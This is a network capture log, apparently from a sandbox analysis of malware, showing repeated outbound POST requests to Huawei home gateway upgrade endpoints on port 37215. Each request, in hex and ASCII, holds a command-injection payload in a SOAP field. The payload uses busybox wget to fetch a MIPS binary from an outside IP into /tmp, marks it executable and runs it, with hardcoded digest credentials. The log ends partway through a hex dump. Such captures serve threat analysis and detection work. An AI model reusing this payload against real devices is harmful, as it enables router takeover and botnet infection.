Jan 22, 2024 04:00:40.216681004 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:42.012669086 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:45.604552984 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:52.780843973 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:07.148628950 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:35.916785955 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.20	55584	45.195.115.109	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:00:43.950571060 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:44.764548063 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:45.740578890 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:47.696650028 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 